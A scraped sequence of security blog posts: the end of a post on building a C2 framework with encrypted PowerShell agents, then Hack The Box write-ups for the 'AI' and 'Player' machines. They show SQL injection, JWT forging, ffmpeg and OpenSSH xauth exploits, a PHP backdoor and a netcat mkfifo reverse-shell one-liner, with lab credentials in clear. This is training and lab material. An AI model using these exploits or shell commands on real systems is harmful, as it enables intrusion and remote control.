
    if arch == "x64":
        copyfile("./lib/templates/winexe/winexe64.exe", outpath)
    elif arch == "x32":
        copyfile("./lib/templates/winexe/winexe32.exe", outpath)        
    with open(outpath, "a") as f:

    success("File saved in: {}".format(outpath))


I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell can’t deal with big integers without the .NET class BigInteger, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES in powershell easily, however I couldn’t do the same in c++, so I decided to use a simple xor but again there were some issues, that’s why the winexe agent won’t be using any encryption until I figure out what to do.

Let’s take a look at the crypto functions in both the server and the powershell agent.


The AESCipher class uses the AES class from the pycrypto library, it uses AES CBC 256.

An AESCipher object is instantiated with a key, it expects the key to be base-64 encoded:

class AESCipher:
    def __init__(self, key):

        self.key = base64.b64decode(key)
        self.bs  = AES.block_size

There are two functions to pad and unpad the text with zeros to match the block size:

def pad(self, s):
    return s + (self.bs - len(s) % self.bs) * "\x00"

def unpad(self, s):
    s = s.decode("utf-8")
    return s.rstrip("\x00")

The encryption function takes plain text, pads it, creates a random IV, encrypts the plain text and returns the IV + the cipher text base-64 encoded:

def encrypt(self, raw):
    raw      = self.pad(raw)
    iv       = Random.new().read(AES.block_size)
    cipher   = AES.new(self.key, AES.MODE_CBC, iv)
    return base64.b64encode(iv + cipher.encrypt(raw.encode("utf-8")))

The decryption function does the opposite:

def decrypt(self,enc):
    enc      = base64.b64decode(enc)
    iv       = enc[:16]
    cipher   = AES.new(self.key, AES.MODE_CBC, iv)
    plain    = cipher.decrypt(enc[16:])
    plain    = self.unpad(plain)
    return plain 

I created two wrapper function that rely on the AESCipher class to encrypt and decrypt data:


    c   = AESCipher(KEY)
    enc = c.encrypt(PLAIN)

    return enc.decode()


    c   = AESCipher(KEY)
    dec = c.decrypt(ENC)

    return dec

And finally there’s the generateKey function which creates a random 32 bytes key and base-64 encodes it:

def generateKey():

    key    = base64.b64encode(os.urandom(32))
    return key.decode()

PowerShell Agent

The powershell agent uses the .NET class System.Security.Cryptography.AesManaged.

First function is the Create-AesManagedObject which instantiates an AesManaged object using the given key and IV. It’s a must to use the same options we decided to use on the server side which are CBC mode, zeros padding and 32 bytes key length:

function Create-AesManagedObject($key, $IV) {
    $aesManaged           = New-Object "System.Security.Cryptography.AesManaged"
    $aesManaged.Mode      = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding   = [System.Security.Cryptography.PaddingMode]::Zeros
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize   = 256

After that it checks if the provided key and IV are of the type String (which means that the key or the IV is base-64 encoded), depending on that it decodes the data before using them, then it returns the AesManaged object.

if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        else {
            $aesManaged.IV = $IV
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        else {
            $aesManaged.Key = $key

The Encrypt function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject function to create the AesManaged object and it encrypts the string with a random generated IV.

It returns the cipher text base-64 encoded.

function Encrypt($key, $unencryptedString) {
    $bytes             = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
    $aesManaged        = Create-AesManagedObject $key
    $encryptor         = $aesManaged.CreateEncryptor()
    $encryptedData     = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData

The opposite of this process happens with the Decrypt function:

function Decrypt($key, $encryptedStringWithIV) {
    $bytes           = [System.Convert]::FromBase64String($encryptedStringWithIV)
    $IV              = $bytes[0..15]
    $aesManaged      = Create-AesManagedObject $key $IV
    $decryptor       = $aesManaged.CreateDecryptor();
    $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);


Listeners / Agents Persistency

I used pickle to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.

For the listeners, pickle can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.

I created wrapper functions that read, write and remove objects from the databases:

def readFromDatabase(database):
    data = []

    with open(database, 'rb') as d:
        while True:
            except EOFError:
    return data

def writeToDatabase(database,newData):
    with open(database, "ab") as d:
        pickle.dump(newData, d, pickle.HIGHEST_PROTOCOL)

def removeFromDatabase(database,name):
    data = readFromDatabase(database)
    final = OrderedDict()

    for i in data:
        final[i.name] = i
    del final[name]
    with open(database, "wb") as d:
        for i in final:
            pickle.dump(final[i], d , pickle.HIGHEST_PROTOCOL)


I will show you a quick demo on a Windows Server 2016 target.

This is how the home of the server looks like:

Let’s start by creating a listener:

Now let’s create a payload, I created the three available payloads:

After executing the payloads on the target we’ll see that the agents successfully contacted the server:

Let’s rename the agents:

I executed 4 simple commands on each agent:

Then I tasked each agent to quit.

And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.

If you liked the article tweet about it, thanks for reading.

✇ 0xRick

Hack The Box - AI

By: 0xRick

Hack The Box - AI

Quick Summary

Hey guys, today AI retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is, I added it to /etc/hosts as ai.htb. Let’s jump right in !


As always we will start with nmap to scan for open ports and services:

[email protected]:~/Desktop/HTB/boxes/AI# nmap -sV -sT -sC -o nmapinitial ai.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 17:46 EST
Nmap scan report for ai.htb (
Host is up (0.83s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
|   256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_  256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.15 seconds
[email protected]:~/Desktop/HTB/boxes/AI# 

We got ssh on port 22 and http on port 80.

Web Enumeration

The index page was empty:

By hovering over the logo a menu appears:

The only interesting page there was /ai.php. From the description (“Drop your query using wav file.”) my first guess was that it’s a speech recognition service that processes users’ input and executes some query based on that processed input, And there’s also a possibility that this query is a SQL query but we’ll get to that later.:

I also found another interesting page with gobuster:

[email protected]:~/Desktop/HTB/boxes/AI# gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://ai.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
2020/01/24 18:57:23 Starting gobuster
/intelligence.php (Status: 200)
2020/01/24 19:00:49 Finished
[email protected]:~/Desktop/HTB/boxes/AI# 

It had some instructions on how to use their speech recognition:

I used ttsmp3.com to generate audio files and I created a test file:

But because the application only accepts wav files I converted the mp3 file with ffmpeg:

[email protected]:~/Desktop/HTB/boxes/AI/test# mv ~/Downloads/ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 .
[email protected]:~/Desktop/HTB/boxes/AI/test# ffmpeg -i ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav
ffmpeg version 4.2.1-2+b1 Copyright (c) 2000-2019 the FFmpeg developers
  built with gcc 9 (Debian 9.2.1-21)
  configuration: --prefix=/usr --extra-version=2+b1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-avresample --disable-filter=resample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librsvg --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opengl --enable-sdl2 --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-shared
  libavutil      56. 31.100 / 56. 31.100
  libavcodec     58. 54.100 / 58. 54.100
  libavformat    58. 29.100 / 58. 29.100
  libavdevice    58.  8.100 / 58.  8.100
  libavfilter     7. 57.100 /  7. 57.100
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  5.100 /  5.  5.100
  libswresample   3.  5.100 /  3.  5.100
  libpostproc    55.  5.100 / 55.  5.100
[mp3 @ 0x55b33e5f88c0] Estimating duration from bitrate, this may be inaccurate
Input #0, mp3, from 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3':
    encoder         : Lavf57.71.100
  Duration: 00:00:00.63, start: 0.000000, bitrate: 48 kb/s
    Stream #0:0: Audio: mp3, 22050 Hz, mono, fltp, 48 kb/s
Stream mapping:
  Stream #0:0 -> #0:0 (mp3 (mp3float) -> pcm_s16le (native))
Press [q] to stop, [?] for help
Output #0, wav, to 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav':
    ISFT            : Lavf58.29.100
    Stream #0:0: Audio: pcm_s16le ([1][0][0][0] / 0x0001), 22050 Hz, mono, s16, 352 kb/s
      encoder         : Lavc58.54.100 pcm_s16le
size=      27kB time=00:00:00.62 bitrate= 353.8kbits/s speed= 146x    
video:0kB audio:27kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.282118%
[email protected]:~/Desktop/HTB/boxes/AI/test# 

SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag

As I said earlier, we don’t know what does it mean by “query” but it can be a SQL query. When I created another audio file that says it's a test I got a SQL error because of ' in it's:

The injection part was the hardest part of this box because it didn’t process the audio files correctly most of the time, and it took me a lot of time to get my payloads to work.
First thing I did was to get the database name.

one open single quote union select database open parenthesis close parenthesis comment database

The database name was alexa, next thing I did was enumerating table names, my payload was like the one shown below and I kept changing the test after from and tried possible and common things.

one open single quote union select test from test comment database

The table users existed.

one open single quote union select test from users comment database

From here it was easy to guess the column names, username and password. The problem with username was that it processed user and name as two different words so I couldn’t make it work.

one open single quote union select username from users comment database

password worked just fine.

one open single quote union select password from users comment database

Without knowing the username we can’t do anything with the password, I tried alexa which was the database name and it worked:

We owned user.

JDWP –> Code Execution –> Root Shell –> Root Flag

Privilege escalation on this box was very easy, when I checked the running processes I found this one:

[email protected]:~$ ps aux
root      89984 18.8  5.4 3137572 110120 ?      Sl   22:44   0:06 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start
[email protected]:~$

This was related to an Apache Tomcat server that was running on localhost, I looked at that server for about 10 minutes but it was empty and I couldn’t do anything there, it was a rabbit hole. If we check the listening ports we’ll see 8080, 8005 and 8009 which is perfectly normal because these are the ports used by tomcat, but we’ll also see 8000:

[email protected]:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 *               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp6       0      0          :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0          :::*                    LISTEN      -
tcp6       0      0          :::*                    LISTEN      -
[email protected]:~$ 

A quick search on that port and how it’s related to tomcat revealed that it’s used for debugging, jdwp is running on that port.

The Java Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). -docs.oracle.com

By looking at the process again we can also see this parameter given to the java binary:


I searched for exploits for the jdwp service and found this exploit. I uploaded the python script on the box and I added the reverse shell payload to a file and called it pwned.sh then I ran the exploit:

[email protected]:/dev/shm$ nano pwned.sh 
[email protected]:/dev/shm$ chmod +x pwned.sh 
[email protected]:/dev/shm$ cat pwned.sh 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
[email protected]:/dev/shm$ python jdwp-shellifier.py -t --cmd /dev/shm/pwned.sh
[+] Targeting ''
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'

Then from another ssh session I triggered a connection on port 8005:

[email protected]:~$ nc localhost 8005

And the code was executed:

[email protected]:/dev/shm$ nano pwned.sh 
[email protected]:/dev/shm$ chmod +x pwned.sh 
[email protected]:/dev/shm$ cat pwned.sh 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
[email protected]:/dev/shm$ python jdwp-shellifier.py -t --cmd /dev/shm/pwned.sh
[+] Targeting ''
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x1
[+] Selected payload '/dev/shm/pwned.sh'
[+] Command string object created id:c31
[+] Runtime.getRuntime() returned context id:0xc32
[+] found Runtime.exec(): id=7f40bc03e7c8
[+] Runtime.exec() successful, retId=c33
[!] Command successfully executed
[email protected]:/dev/shm$ 

And we owned root ! That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Player

✇ 0xRick

Hack The Box - Player

By: 0xRick

Hack The Box - Player

Quick Summary

Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is, I added it to /etc/hosts as player.htb. Let’s jump right in !


As always we will start with nmap to scan for open ports and services:

[email protected]:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 16:29 EST
Nmap scan report for player.htb (
Host is up (0.35s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
|   2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
|   256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_  256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp open  http    Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds
[email protected]:~/Desktop/HTB/boxes/player# 

We got http on port 80 and ssh on port 22.

Web Enumeration

I got a 403 response when I went to http://player.htb/:

I used wfuzz with subdomains-top1mil-5000.txt from seclists to enumerate virtual hosts and got these results:

[email protected]:~/Desktop/HTB/boxes/player# wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb"

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

* Wfuzz 2.4 - The Web Fuzzer                           *
Total requests: 4997
ID           Response   Lines    Word     Chars       Payload
000000019:   200        86 L     229 W    5243 Ch     "dev"
000000067:   200        63 L     180 W    1470 Ch     "staging"
000000070:   200        259 L    714 W    9513 Ch     "chat"

Total time: 129.1540
Processed Requests: 4997
Filtered Requests: 4994
Requests/sec.: 38.69021

[email protected]:~/Desktop/HTB/boxes/player# 

I added them to my hosts file and started checking each one of them.
On dev there was an application that needed credentials so we’ll skip that one until we find some credentials:

staging was kinda empty but there was an interesting contact form:

The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php:

I intercepted the request with burp to read the error.

GET /contact.php?firstname=test&subject=test HTTP/1.1
Host: staging.player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://staging.player.htb/contact.html
Connection: close
Upgrade-Insecure-Requests: 1


HTTP/1.1 200 OK
Date: Fri, 17 Jan 2020 19:54:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
refresh: 0;url=501.php
Vary: Accept-Encoding
Content-Length: 818
Connection: close
Content-Type: text/html

array(3) {
  array(4) {
    string(28) "/var/www/staging/contact.php"
    string(1) "c"
    array(1) {
      &string(9) "Cleveland"
  array(4) {
    string(28) "/var/www/staging/contact.php"
    string(1) "b"
    array(1) {
      &string(5) "Glenn"
  array(4) {
    string(28) "/var/www/staging/contact.php"
    string(1) "a"
    array(1) {
      &string(5) "Peter"
Database connection failed.<html><br />Unknown variable user in /var/www/backup/service_config fatal error in /var/www/staging/fix.php

The error exposed some filenames like /var/www/backup/service_config, /var/www/staging/fix.php and /var/www/staging/contact.php. That will be helpful later.
chat was a static page that simulated a chat application:

I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :

  1. Staging exposing sensitive files.
  2. Main domain exposing source code allowing to access the product before release.

We already saw that staging was exposing files, I ran gobuster on the main domain and found /launcher:

[email protected]:~/Desktop/HTB/boxes/player# gobuster dir -u http://player.htb/ -w /usr/share/wordlists/dirb/common.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://player.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/01/17 19:17:29 Starting gobuster
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/launcher (Status: 301)
/server-status (Status: 403)
2020/01/17 19:18:59 Finished
[email protected]:~/Desktop/HTB/boxes/player# 


I tried to submit that form but it did nothing, I just got redirected to /launcher again: Request:

GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzU
Upgrade-Insecure-Requests: 1


HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:45:04 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: index.html
Content-Length: 0
Connection: close
Content-Type: text/html

We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php so I tried some basic stuff like adding .swp, .bak and ~ after the file name. ~ worked (check this out):

[email protected]:~/Desktop/HTB/boxes/player# curl http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~
require 'vendor/autoload.php';

use \Firebase\JWT\JWT;

        $key = '[email protected][email protected]_';
        $decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
        if($decoded->access_code === "0E76658526655756207688271159624026011393")
                header("Location: 7F2xxxxxxxxxxxxx/");
                header("Location: index.html");
        $token_payload = [
          'project' => 'PlayBuff',
          'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
        $key = '[email protected][email protected]_';
        $jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
        $cookiename = 'access';
        setcookie('access',$jwt, time() + (86400 * 30), "/");
        header("Location: index.html");

[email protected]:~/Desktop/HTB/boxes/player#

It decodes the JWT token from the cookie access and redirects us to a redacted path if the value of access_code was 0E76658526655756207688271159624026011393, otherwise it will assign an access cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03 as the value of access_code and redirect us to index.html.
We have the secret [email protected][email protected]_ so we can easily craft a valid cookie. I used jwt.io to edit my token.

I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1: Request:

GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE
Upgrade-Insecure-Requests: 1


HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:50:59 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: 7F2dcsSdZo6nj3SNMTQ1/
Content-Length: 0
Connection: close
Content-Type: text/html

FFmpeg HLS Vulnerability –> Arbitrary File Read

I uploaded a test txt file:

I got an avi file as a result which was weird:

<a href="http:\/\/player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/uploads/518515582.avi">

I tried some other file formats and I also got an avi file.
So I tried the ffmpeg HLS exploit, I created a test avi to read /etc/passwd and it worked:

[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///etc/passwd test.avi
[email protected]:~/Desktop/HTB/boxes/player/avi# file test.avi 
test.avi: RIFF (little-endian) data, AVI, 224 x 160, 25.00 fps,
[email protected]:~/Desktop/HTB/boxes/player/avi#

I created 3 more avis to read the files we got earlier from the error message from staging:

[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/contact.php contact.avi
[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/backup/service_config service_config.avi
[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/fix.php fix.avi
[email protected]:~/Desktop/HTB/boxes/player/avi#

contact.php didn’t have anything interesting and the avi for fix.php was empty for some reason. In service_config there were some credentials for a user called telegen:

I tried these credentials with ssh and with dev.player.htb and they didn’t work. I ran a quick full port scan with masscan and turns out that there was another open port:

[email protected]:~/Desktop/HTB/boxes/player# masscan -p1-65535 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-18 00:09:24 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on                                    
Discovered open port 80/tcp on                                    
Discovered open port 6686/tcp on

I scanned that port with nmap but it couldn’t identify the service:

6686/tcp open  tcpwrapped

However when I connected to the port with nc the banner indicated that it was an ssh server:

[email protected]:~/Desktop/HTB/boxes/player# nc player.htb 6686

Protocol mismatch.
[email protected]:~/Desktop/HTB/boxes/player#

I could login to that ssh server with the credentials, but unfortunately I was in a restricted environment:

[email protected]:~/Desktop/HTB/boxes/player# ssh [email protected] -p 6686
The authenticity of host '[player.htb]:6686 ([]:6686)' can't be established.
ECDSA key fingerprint is SHA256:oAcCXvit3SHvyq7nuvWntLq+Q+mGlAg8301zhKnJmPM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[player.htb]:6686,[]:6686' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Last login: Tue Apr 30 18:40:13 2019 from
  SSH_CLIENT=10.10.xx.xx 43270 6686
  SSH_CONNECTION=10.10.xx.xx 43270 6686
========= PlayBuff ==========
Welcome to Staging Environment

telegen:~$ whoami
*** forbidden command: whoami
telegen:~$ help
  clear  exit  help  history  lpath  lsudo
telegen:~$ lsudo
Allowed sudo commands:
telegen:~$ lpath
telegen:~$ pwd
*** forbidden command: pwd

OpenSSH 7.2p1 xauth Command Injection –> User Flag

When I searched for exploits for that version of openssh I found this exploit.

[email protected]:~/Desktop/HTB/boxes/player# python 39569.py 
 Usage: <host> <port> <username> <password or path_to_privkey>
        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key

[email protected]:~/Desktop/HTB/boxes/player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/[email protected]:6686
Available commands:
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None

I tried to use .writefile to write a php file and get a reverse shell but I couldn’t do that. But anyway I was finally able to read the user flag:

Credentials in fix.php –> RCE –> Shell as www-data

Earlier I couldn’t read fix.php through the ffmpeg exploit, I was able to read it as telegen and I found credentials for a user called peter:

#> .readfile /var/www/staging/fix.php                                    
DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n'          
DEBUG:__main__:dummy exec returned: None

These credentials (peter : CQXpm\z)G5D#%S$y=) worked with dev.player.htb:

I tried to create a new project in /var/www/html:

But I got an error saying that I was only allowed to create projects in /var/www/demo/home so I created a project there:

When I ran gobuster on http://dev.player.htb/ there was a directory called home:

[email protected]:~/Desktop/HTB/boxes/player# gobuster dir -u http://dev.player.htb/ -w /usr/share/wordlists/dirb/common.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://dev.player.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/01/17 20:18:00 Starting gobuster
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/components (Status: 301)
/data (Status: 301)
/favicon.ico (Status: 200)
/home (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/languages (Status: 301)
/lib (Status: 301)
/plugins (Status: 301)
/server-status (Status: 403)
/themes (Status: 301)
2020/01/17 20:19:49 Finished
[email protected]:~/Desktop/HTB/boxes/player# 

I wanted to see if that was related to /var/www/demo/home so I created a file called test.php that echoed test and I tried to access it through /home:

It worked so I edited my test file and added the php-simple-backdoor code and got a reverse shell:

[email protected]:~/Desktop/HTB/boxes/player# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [] 56714
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/var/www/demo/home$ ^Z
[1]+  Stopped                 nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/player# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/player# nc -lvnp 1337

